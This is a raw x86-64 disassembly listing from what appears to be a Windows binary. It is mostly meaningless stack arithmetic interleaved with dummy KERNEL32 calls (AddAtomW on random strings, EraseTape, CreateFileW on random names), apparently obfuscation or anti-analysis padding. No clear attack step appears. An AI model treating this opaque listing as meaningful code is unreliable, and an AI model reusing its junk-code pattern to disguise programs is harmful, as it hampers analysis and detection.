mov eax, dword [rsp + 0x79a4]
mov dword [rsp + 0xa4c0], eax
mov eax, dword [rsp + 0xa478]
mov ecx, dword [rsp + 0xa414]
add ecx, eax
mov eax, ecx
mov dword [0x1402826e4], eax
mov eax, dword [0x14028ee1c]
mov ecx, dword [rsp + 0xa304]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x75e0], eax
movsx eax, word [rsp + 0x2b34]
movsx ecx, word [rsp + 0x2b24]
xor eax, ecx
mov word [rsp + 0x2bbc], ax
mov rax, qword [rsp + 0x14120]
movzx eax, byte [rax]
mov byte [rsp + 0x658], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b90], ax
movzx eax, byte [rsp + 0x4d0]
movzx ecx, byte [rsp + 0x645]
sar eax, cl
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0x14218]
mov ecx, dword [0x14028269c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0x6500]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa498], eax
movzx eax, word [rsp + 0x2b60]
mov word [rsp + 0x2bcc], ax
movzx eax, byte [rsp + 0x631]
mov rcx, qword [0x14028ee20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281dbb], al
mov rax, qword [rsp + 0x141c8]
mov ecx, dword [rsp + 0xa42c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa408], eax
mov eax, dword [rsp + 0x9bd8]
mov dword [rsp + 0xa4c4], eax
lea rcx, str.qEob_UTBWA5m
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2bd0], ax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [0x14028ee50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa270], eax
xor r9d, r9d
lea r8, [rsp + 0x13f28]
mov rdx, qword [rsp + 0x14308]
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa29c], eax
mov eax, dword [rsp + 0xa490]
mov ecx, dword [rsp + 0xa3bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64b4], eax
movzx eax, byte [rsp + 0x645]
mov byte [rsp + 0x659], al
movzx eax, word [0x1402826a0]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15c8], ax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa428]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a1c], eax
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [0x1402826e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa438], eax
movsx eax, byte [rsp + 0x63b]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281dc3], al
mov rax, qword [rsp + 0x14138]
movzx eax, word [rax]
mov word [rsp + 0x2bd4], ax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x652], al
movzx eax, word [rsp + 0x16d0]
movzx ecx, word [rsp + 0x2b64]
sar eax, cl
mov word [rsp + 0x2b9c], ax
mov eax, dword [rsp + 0xa450]
mov dword [rsp + 0xa4c8], eax
mov rax, qword [0x14028ee80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13f70]
mov qword [rsp + 0x14330], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14330]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa4a8], eax
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6500]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x64d8], eax
mov rax, qword [rsp + 0x14178]
mov rcx, qword [rsp + 0x140c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa378], eax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0xa3f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9580], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov byte [rsp + 0x65a], al
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba8]
add eax, ecx
mov word [0x1402826e8], ax
mov rax, qword [rsp + 0x14180]
mov ecx, dword [rsp + 0xa490]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa3a4]
mov dword [rsp + 0xa4cc], eax
mov rax, qword [rsp + 0x140d0]
mov rcx, qword [rsp + 0x14300]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x140d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14248]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa33c], eax
lea rax, [rsp + 0x2d7]
mov qword [rsp + 0x14338], rax
movzx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1740], ax
movsx eax, word [rsp + 0x1d78]
movsx ecx, word [rsp + 0x2b34]
and eax, ecx
mov word [rsp + 0x1dc8], ax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x64e], al
mov eax, dword [rsp + 0xa370]
mov ecx, dword [rsp + 0xa3bc]
sub ecx, eax
mov eax, ecx
mov dword [0x14028269c], eax
mov rax, qword [rsp + 0x141f8]
mov eax, dword [rax]
mov dword [rsp + 0xa4d0], eax
movzx eax, word [rsp + 0x2b28]
movzx ecx, word [0x1402826a0]
add eax, ecx
mov word [rsp + 0x15c8], ax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x141a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x90bc]
mov dword [rsp + 0xa4d4], eax
mov eax, dword [0x14028eec4]
mov rcx, qword [rsp + 0x14218]
mov qword [rsp + 0x14340], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14340]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa430], eax
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3b4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8248], eax
mov eax, dword [rsp + 0x9e70]
movzx ecx, al
mov eax, dword [rsp + 0x9774]
sar eax, cl
mov rcx, qword [rsp + 0x14098]
mov dword [rcx], eax
movzx eax, word [0x1402826d8]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b60], ax
movzx eax, byte [rsp + 0x644]
mov byte [0x14028ee18], al
movzx ecx, word [rsp + 0x2b70]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14318], rax
mov eax, dword [rsp + 0x976c]
mov dword [rsp + 0xa4d8], eax
mov rax, qword [rsp + 0x141f8]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6608], eax
lea rax, [rsp + 0xa270]
mov qword [rsp + 0x14348], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x141e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa47c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa464], eax
mov rax, qword [0x14028ee50]
mov ecx, dword [rsp + 0x76bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14260]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x63e]
mov byte [rsp + 0x65b], al
mov rax, qword [rsp + 0x142e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1948]
sub eax, ecx
mov word [rsp + 0x2b34], ax
movzx eax, byte [0x140281dab]
mov rcx, qword [rsp + 0x14338]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2d5], al
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402826a0], ax
mov eax, dword [rsp + 0x9d94]
mov ecx, dword [rsp + 0x7600]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4c8], eax
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x976c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa45c], eax
movzx eax, byte [rsp + 0x63f]
mov byte [rsp + 0x65c], al
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bc0]
or eax, ecx
mov word [rsp + 0x1c78], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa27c], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov dword [rsp + 0xa4dc], eax
mov eax, dword [rsp + 0xa4bc]
movzx ecx, al
mov eax, dword [rsp + 0xa3f4]
shl eax, cl
mov dword [rsp + 0xa488], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov dword [rsp + 0xa4e0], eax
mov eax, dword [rsp + 0xa400]
mov rcx, qword [rsp + 0x14110]
mov qword [rsp + 0x14350], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14350]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9930], eax
movzx eax, byte [rsp + 0x65a]
movzx ecx, byte [rsp + 0x1aa]
xor eax, ecx
mov byte [0x14028ee18], al
movzx eax, word [rsp + 0x2b9c]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1840], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
lea rcx, str.EkhWAuVSEXELqTpFW_E2ILhZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0x14238]
mov ecx, dword [rsp + 0x6c58]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6f54], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov eax, dword [rsp + 0xa464]
mov ecx, dword [rsp + 0x9774]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe84e
mov rcx, qword [rsp + 0x14320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa49c], eax
mov rax, qword [rsp + 0x14190]
movzx eax, word [rax]
mov word [rsp + 0x2be0], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x649]
add eax, ecx
mov byte [rsp + 0x641], al
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14338]
mov byte [rcx], al
movzx eax, word [rsp + 0x1dac]
mov word [rsp + 0x2be4], ax
mov rax, qword [rsp + 0x14248]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x84a4], eax
mov rax, qword [rsp + 0x140d0]
mov ecx, dword [rsp + 0x82f8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402826ec], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa454]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9790], eax
mov rax, qword [0x14028ee60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa450]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4c8], eax
mov rax, qword [rsp + 0x140d0]
mov ecx, dword [rsp + 0x8e48]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov byte [rsp + 0x65d], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [0x14028ee78]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1c78], ax
lea rcx, [rsp + 0x21a68]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov dword [rsp + 0xa4e4], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa3e0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa468], eax
mov eax, dword [0x1402826b4]
mov rcx, qword [rsp + 0x14178]
mov qword [rsp + 0x14358], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14358]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8b98], eax
mov rax, qword [rsp + 0x141d0]
mov ecx, dword [rsp + 0xa448]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402826ac], eax
movzx eax, word [rsp + 0x2b94]
movzx ecx, word [rsp + 0x2b30]
sub eax, ecx
mov rcx, qword [rsp + 0x13eb8]
mov word [rcx], ax
mov rax, qword [0x14028ee20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x635]
sub eax, ecx
mov byte [rsp + 0x64d], al
lea rax, [rsp + 0x1dc8]
mov qword [rsp + 0x14360], rax
movsx eax, byte [rsp + 0x65b]
movsx ecx, byte [rsp + 0x647]
and eax, ecx
mov byte [rsp + 0x630], al
mov eax, dword [rsp + 0xa3f0]
mov dword [rsp + 0xa4e8], eax
mov rax, qword [rsp + 0x141f8]
mov rcx, qword [rsp + 0x14260]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa478], eax
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba4]
sub eax, ecx
mov word [rsp + 0x2bb0], ax
movzx eax, byte [rsp + 0x638]
mov byte [rsp + 0x65e], al
lea rax, [rsp + 0x6f54]
mov qword [0x14028ee10], rax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x872c], eax
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x142d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9260], eax
mov eax, dword [rsp + 0xa3e0]
mov ecx, dword [rsp + 0x976c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14228]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bb8]
add eax, ecx
mov word [rsp + 0x2b40], ax
movzx eax, byte [rsp + 0x2d5]
mov byte [rsp + 0x65f], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14368], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.mRJ_bP168NSI_fnmLwKEin0xA3Bu4LH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14370], rax
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [rsp + 0xa270]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa48c], eax
mov eax, dword [0x1402826ac]
mov dword [rsp + 0xa4ec], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa49c], eax
mov eax, dword [rsp + 0x9e40]
mov ecx, dword [rsp + 0x7b28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4c0], eax
mov rax, qword [rsp + 0x141e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa304]
shl eax, cl
mov dword [0x1402826f0], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9e70]
sar eax, cl
mov dword [rsp + 0xa478], eax
mov rax, qword [rsp + 0x142c0]
movzx eax, word [rax]
mov word [rsp + 0x2be8], ax
movsx eax, byte [rsp + 0x64f]
movsx ecx, byte [rsp + 0x2e9]
or eax, ecx
mov byte [rsp + 0x634], al
movzx eax, word [0x1402826d8]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x25d8], ax
movzx eax, byte [rsp + 0x63f]
mov rcx, qword [rsp + 0x14150]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x275], al
movzx ecx, word [rsp + 0x2b3c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b58], ax
lea rax, [rsp + 0xa3c4]
mov qword [rsp + 0x14378], rax
mov rcx, qword [rsp + 0x14328]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa4f0], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x14260]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ca4], eax
movzx eax, word [rsp + 0x2bc8]
movzx ecx, word [rsp + 0x157c]
sub eax, ecx
mov word [rsp + 0x15c8], ax
movzx eax, byte [0x14028eec1]
movzx ecx, byte [rsp + 0x2d5]
and eax, ecx
mov byte [0x140281db3], al
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
mov dword [rsp + 0xa4f4], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0x9a0c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa398], eax
mov eax, dword [0x1402826e4]
mov dword [rsp + 0xa4f8], eax
mov rax, qword [rsp + 0x14248]
mov rcx, qword [rsp + 0x14238]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa4bc], eax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14310]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b94], ax
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14150]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x46c], al
mov eax, dword [rsp + 0x9a0c]
mov ecx, dword [rsp + 0xa2b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa458], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov dword [rsp + 0xa4fc], eax
movsx eax, byte [0x14028eec0]
movsx ecx, byte [rsp + 0x658]
sar eax, cl
mov byte [0x140281dc3], al
mov rax, qword [rsp + 0x142e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x22d4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rcx, str.Oy3Aizzf
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ba0], ax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1840], ax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
mov byte [rsp + 0x660], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2e4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
mov eax, dword [rsp + 0x9d94]
mov ecx, dword [rsp + 0xa2e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b80], eax
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa310]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14348]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x82f8], eax
mov eax, dword [rsp + 0xa3cc]
mov dword [rsp + 0xa500], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b50]
sub eax, ecx
mov rcx, qword [rsp + 0x141e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x64d]
mov byte [0x14028ee08], al
lea rax, [0x1402826a8]
mov qword [rsp + 0x14380], rax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0xa470]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14110]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov dword [rsp + 0xa504], eax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x14218]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa250], eax
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x14278]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x63d], al
lea rax, [rsp + 0x1820]
mov qword [rsp + 0x14388], rax
mov rax, qword [0x14028eeb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x142c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b54], ax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x28d], al
mov eax, dword [0x1402826d4]
mov ecx, dword [rsp + 0xa4c8]
add ecx, eax
mov eax, ecx
mov dword [0x1402826f4], eax
lea rcx, [rsp + 0x225a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xa238]
mov rcx, qword [rsp + 0x14288]
mov qword [rsp + 0x14390], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14390]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14098]
mov dword [rcx], eax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5e9]
or eax, ecx
mov byte [rsp + 0x652], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14398], rax
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
mov word [rsp + 0x2bec], ax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x14178]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa3b8], eax
mov eax, dword [rsp + 0xa3c4]
mov dword [rsp + 0xa508], eax
mov eax, dword [0x1402826c0]
movzx ecx, al
mov eax, dword [rsp + 0xa438]
shl eax, cl
mov dword [rsp + 0xa4d0], eax
mov rax, qword [rsp + 0x141f8]
mov rcx, qword [rsp + 0x14098]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa400], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov word [rsp + 0x2bf0], ax
movzx eax, byte [rsp + 0x648]
movzx ecx, byte [rsp + 0x2a7]
sub eax, ecx
mov byte [0x14028ee6a], al
mov rax, qword [rsp + 0x14228]
mov ecx, dword [rsp + 0xa4ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3e0], eax
mov rax, qword [rsp + 0x140f0]
mov rcx, qword [0x14028ee90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x94dc], eax
mov rax, qword [rsp + 0x14288]
mov ecx, dword [rsp + 0x64d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa43c], eax
mov eax, dword [rsp + 0xa3f8]
mov dword [rsp + 0xa50c], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [0x14028ee44]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa340], eax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x63e], al
movzx eax, word [rsp + 0x2b5c]
mov word [rsp + 0x2bf4], ax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x142a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x65e], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402826f8], ax
mov dword [rsp + 0x246b0], 0x114
mov rax, qword [0x14028ee70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa384]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8604], eax
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0xa4e8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa380], eax
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b84]
shl eax, cl
mov word [rsp + 0x2b30], ax
movzx eax, byte [rsp + 0x660]
mov byte [rsp + 0x661], al
mov rax, qword [rsp + 0x141f8]
mov ecx, dword [rsp + 0xa238]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x141d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov dword [rsp + 0xa510], eax
lea rdx, [rsp + 0x233c0]
mov rcx, qword [rsp + 0x14208]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa3d8], eax
lea rcx, [rsp + 0x21a90]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [rsp + 0xa3cc]
mov rcx, qword [rsp + 0x14348]
mov qword [rsp + 0x143a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x143a0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa4fc], eax
mov rax, qword [rsp + 0x14110]
mov ecx, dword [rsp + 0x9e70]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa500], eax
movzx eax, byte [rsp + 0x661]
movzx ecx, byte [rsp + 0x63c]
sub eax, ecx
mov byte [0x14028eea0], al
movzx eax, word [rsp + 0x2b90]
movzx ecx, word [rsp + 0x2b48]
sub eax, ecx
mov word [rsp + 0x2098], ax
mov rax, qword [rsp + 0x14378]
mov rcx, qword [rsp + 0x14180]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa250], eax
lea rax, [0x1402826ac]
mov qword [rsp + 0x143a8], rax
movsx eax, byte [rsp + 0x654]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63b], al
mov rax, qword [rsp + 0x142e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bb4]
sub eax, ecx
mov word [rsp + 0x2b6c], ax
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
mov word [rsp + 0x2bf8], ax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x142a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x631], al
mov eax, dword [rsp + 0xa408]
mov dword [rsp + 0xa514], eax
mov rax, qword [rsp + 0x14260]
mov rcx, qword [rsp + 0x141f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14028ee44], eax
mov eax, dword [rsp + 0xa340]
mov ecx, dword [rsp + 0x8248]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa338], eax
mov rax, qword [rsp + 0x14248]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8598], eax
mov eax, dword [rsp + 0x8b98]
movzx ecx, al
mov eax, dword [rsp + 0xa498]
shl eax, cl
mov dword [rsp + 0xa4f8], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x12a1
mov r9d, 0x3b88
mov r8d, 0x5ab09b76
mov edx, 1
mov rcx, qword [rsp + 0x142a8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa4f0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.QYoe_tvLDtOxFH2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x143b0], rax
lea rdx, [rsp + 0xa49c]
mov rcx, qword [rsp + 0x14208]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa324], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
